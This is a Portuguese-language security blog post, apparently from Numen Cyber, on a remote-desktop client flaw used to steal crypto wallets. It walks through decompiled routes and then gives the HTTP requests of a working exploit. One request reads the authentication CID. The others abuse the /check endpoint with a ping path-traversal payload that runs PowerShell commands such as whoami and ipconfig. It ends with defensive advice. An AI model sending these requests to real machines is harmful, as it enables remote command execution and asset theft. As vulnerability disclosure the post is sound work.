paint-brush
Crypto OpSec: como o software de área de trabalho remota pode ser explorado para drenar sua carteirapor@numencyber
586 leituras
586 leituras

Crypto OpSec: como o software de área de trabalho remota pode ser explorado para drenar sua carteira

por Numen Cyber8m2023/04/18
Read on Terminal Reader

Muito longo; Para ler

Recentemente, vários detentores de criptomoedas web3 relataram ter perdido seus ativos digitais enquanto usavam software de controle remoto. O endereço da carteira associado ao hacker é 0xbb3fd383d1c5540e52ef0a7bcb9433375793aeaf. No ano passado, houve um incidente envolvendo um software de controle remoto que sofreu uma explosão de serviço devido ao vazamento de informações de identificação de seu cliente.
featured image - Crypto OpSec: como o software de área de trabalho remota pode ser explorado para drenar sua carteira
Numen Cyber HackerNoon profile picture

Recentemente, vários detentores de criptomoedas web3 relataram a perda de seus ativos digitais enquanto usavam software de controle remoto.

O endereço da carteira associado ao hacker é 0xbb3fd383d1c5540e52ef0a7bcb9433375793aeaf.

No ano passado, houve um incidente envolvendo um software de controle remoto que sofreu uma explosão de serviço devido a um vazamento de suas informações de identificação do cliente (CID) e vulnerabilidade de injeção de comando (CNVD-2022–10270/CNVD-2022–03672).


Sempre que o software é iniciado, ele abre automaticamente um número de porta aleatório maior que 40000 como um serviço HTTP. Caso o valor do parâmetro cmd comece com ping ou nslookup na rota /check, qualquer comando pode ser executado.


Isso permitiu que o invasor enviasse um agente C2, permitindo que eles monitorassem o sistema da vítima por um longo período de tempo.

Versões Afetadas

Edição Pessoal para Windows <= 11.0.0.33162

Edição Simples <= V1.0.1.43315

Análise

Vamos dar uma olhada em login.cgi

 v5 = (__int64 (__fastcall *)())operator new(0x50ui64); v55 = v5; v54 = 15i64; v53 = 0i64; v51[0] = 0; sub_1400F0690(v51, "login.cgi", 9ui64); v6 = sub_140E2D6BC(v5, v51); v57 = &off_1410D3B20; v58 = (char (__fastcall *)(__int64, __int64))sub_140E1EE50; v59 = v52; v60 = a1; v61 = &v57; v66 = (_QWORD *)v6; if ( v6 ) { v7 = v6 + 8 + *(int *)(*(_QWORD *)(v6 + 8) + 4i64); (*(void (__fastcall **)(__int64))(*(_QWORD *)v7 + 8i64))(v7); } sub_140E2D85C(a1 + 55, &v66, &v57); LOBYTE(v8) = 1; sub_1400EEDC0(v51, v8, 0i64); v56 = &v57; v9 = (__int64 (__fastcall *)())operator new(0x50ui64); v55 = v9; v54 = 15i64; v53 = 0i64; v51[0] = 0; sub_1400F0690(v51, (void *)"cgi-bin/login.cgi", 0x11ui64); v10 = sub_140E2D6BC(v9, v51); v57 = &off_1410D3B20; v58 = (char (__fastcall *)(__int64, __int64))sub_140E1EE50; v59 = v52; v60 = a1; v61 = &v57; v66 = (_QWORD *)v10; if ( v10 ) { v11 = v10 + 8 + *(int *)(*(_QWORD *)(v10 + 8) + 4i64); (*(void (__fastcall **)(__int64))(*(_QWORD *)v11 + 8i64))(v11); } sub_140E2D85C(a1 + 55, &v66, &v57); LOBYTE(v12) = 1; sub_1400EEDC0(v51, v12, 0i64); v56 = &v57; v13 = (__int64 (__fastcall *)())operator new(0x50ui64); v55 = v13; v54 = 15i64; v53 = 0i64; v51[0] = 0; sub_1400F0690(v51, (void *)"cgi-bin/rpc", 0xBui64); v14 = sub_140E2D6BC(v13, v51); v57 = &off_1410D3B20; v58 = sub_140E1C954; v59 = v52; v60 = a1; v61 = &v57; v66 = (_QWORD *)v14; if ( v14 ) { v15 = v14 + 8 + *(int *)(*(_QWORD *)(v14 + 8) + 4i64); (*(void (__fastcall **)(__int64))(*(_QWORD *)v15 + 8i64))(v15); }


Navegue até cgi-bin/rpc

Obter a seguinte rota

 v63 = (*(__int64 (__fastcall **)(_QWORD))(**(_QWORD **)(a1 + 8) + 104i64))(*(_QWORD *)(a1 + 8)); sub_140320D80( (int)&qword_1414049C0, 1, (int)"..\\includes\\libsunloginclient\\client\\HttpDecideClientType.cpp", (int)"CHttpDecideTcpClientType::DecideClient", 205, "[Acceptor][HTTP] new RC HTTP connection %s,%s, plugin:%s, session:%s", v63); if ( (unsigned int)sub_140101DB0(v116, "login") && strcmp(v61, "express_login") && strcmp(v61, "cgi-bin/login.cgi") && strcmp(v61, "log") && strcmp(v61, "cgi-bin/rpc") && strcmp(v61, "transfer") && strcmp(v61, "cloudconfig") && strcmp(v61, "getfastcode") && strcmp(v61, "assist") && strcmp(v61, "cloudconfig") && strcmp(v61, "projection") && strcmp(v61, "getaddress") && strcmp(v61, "sunlogin-tools") ) ... sub_1400F05E0(v116); goto LABEL_168; } } if ( !(unsigned int)sub_140101DB0(v116, "login") || !(unsigned int)sub_140101DB0(v116, "control") || !strcmp(v61, "express_login") || !strcmp(v61, "cgi-bin/login.cgi") || !strcmp(v61, "cgi-bin/rpc") || !strcmp(v61, "desktop.list") || !strcmp(v61, "cloudconfig") || !strcmp(v61, "check") || !strcmp(v61, "transfer") || !strcmp(v61, "getfastcode") || !strcmp(v61, "assist") || !strcmp(v61, "micro-live/enable") || !strcmp(v61, "projection") || !strcmp(v61, "getaddress") ) { v103 = *(_QWORD *)(a1 + 8);

De acordo com as informações de vulnerabilidade divulgadas online, ao obter o primeiro CID de autenticação da rota cgi-bin/rpc, é possível distinguir a função examinando o parâmetro de ação.

Quando o parâmetro de ação é definido como Verify-haras, a função retorna um Verify_string.

 if ( !(unsigned int)sub_140101DB0(v131, "verify-haras") ) { sub_1400F0690(Src, "{\"__code\":0,\"enabled\":\"1\",\"verify_string\":\"", 0x2Bui64); LOBYTE(v22) = 1; v23 = (*(__int64 (__fastcall **)(_QWORD, char *, __int64))(**(_QWORD **)(*(_QWORD *)(a1 + 416) + 288i64) + 144i64))( *(_QWORD *)(*(_QWORD *)(a1 + 416) + 288i64), v125, v22); sub_1400EEE40(Src, v23, 0i64, -1i64); sub_1400F05E0(v125); sub_1400EEC60(Src, "\",\"code\":0} ", 0xCui64); v73 = 1; CxxThrowException(&v73, (_ThrowInfo *)&stru_1412F7B30); }

Se o parâmetro de ação for definido como tipo de login, a função retornará informações sobre o dispositivo da vítima.

 if ( !(unsigned int)sub_140101DB0(v131, "login-type") ) { sub_1405ACBA0(v93); v16 = "0"; if ( (*(unsigned __int8 (__fastcall **)(_QWORD))(**(_QWORD **)(*(_QWORD *)(a1 + 416) + 288i64) + 112i64))(*(_QWORD *)(*(_QWORD *)(a1 + 416) + 288i64)) ) ... memset(Buffer, 0, sizeof(Buffer)); sub_140150A60( Buffer, "{\"__code\":0,\"use_custom\":%d,\"code\":0,\"version\":\"%s\",\"isbinding\":%s,\"isinstalled\":%s,\"isprojection\"" ":%s,\"platform\":\"%s\",\"mac\":\"%s\",\"request_need_pwd\":\"%s\",\"accept_request\":\"1\",\"support_file\":\"1\"" ",\"disable_remote_bind\":\"%s\"} "); if ( Buffer[0] ) { do ++v6; while ( Buffer[v6] ); v4 = v6; } sub_1400F0690(Src, Buffer, v4); v72 = 1; CxxThrowException(&v72, (_ThrowInfo *)&stru_1412F7B30); }

Além do acima, existem dois outros parâmetros: fast-login e bind-request.

Ao examinar a rota de verificação, um invasor pode criar comandos maliciosos usando ping ou nslookup, permitindo assim que eles obtenham a execução remota de comandos.

A rota getaddress permite a recuperação do endereço do serviço https mapeado para uma porta fixa na extranet. Esse endereço pode ser facilmente rastreado por mecanismos de pesquisa de ativos da Web ou verificado por invasores, expandindo assim a superfície de ataque além da intranet.

Processo de Exploração

A cada inicialização, a interface rpc seleciona aleatoriamente um número de porta maior que 40.000.

O passo inicial é obter o CID do usuário/entidade afetado.

 GET /cgi-bin/rpc?action=verify-haras HTTP/1.1 Host: 10.211.55.3:49716 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close 

Posteriormente, o invasor pode adicionar um CID ao cookie de autenticação, que se parece com este: Cookie: CID=Pvqsv5f5QDs8vYotYsUEFvTkqJuKeZIS. Isso permite que eles executem qualquer comando no computador da vítima.

 GET /check?cmd=ping../../../../../../../../../windows/system32/WindowsPowerShell/v1.0/powershell.exe+whoami+/all HTTP/1.1 Host: 10.211.55.3:49716 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Cookie:CID=Pvqsv5f5QDs8vYotYsUEFvTkqJuKeZIS User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close 

 /check?cmd=ping../../../../../../../../../windows/system32/WindowsPowerShell/v1.0/powershell.exe+ipconfig 

Acesse e visualize os arquivos do sistema da vítima.

Resumo

À medida que a infraestrutura web3 continua a se desenvolver, o alto valor dos ativos digitais e a invisibilidade da infraestrutura web3 a tornam um alvo atraente para os hackers. Eles mudaram da segurança de rede tradicional para o roubo de dados dentro do ecossistema web3, incluindo o roubo de ativos digitais dos usuários.

Muitos hackers agora usam ataques de 0 dia/1 dia para se infiltrar em instalações de destino, como servidores, hosts pessoais, aplicativos de carteira e clientes móveis. Seu objetivo final é roubar os ativos digitais dos usuários.


Para se proteger contra esses ataques, os usuários são aconselhados a manter seus sistemas atualizados e corrigidos, evitar clicar em links de fontes desconhecidas e armazenar suas chaves em sistemas isolados.


Com o cenário Web3 em constante expansão, é imperativo que os projetos priorizem a segurança dos ativos de seus usuários e adotem as melhores práticas do setor, como auditorias abrangentes e verificação regular de pontos fracos para minimizar a possibilidade de ataques semelhantes ocorrerem no futuro.


Leia mais sobre nossos serviços aqui .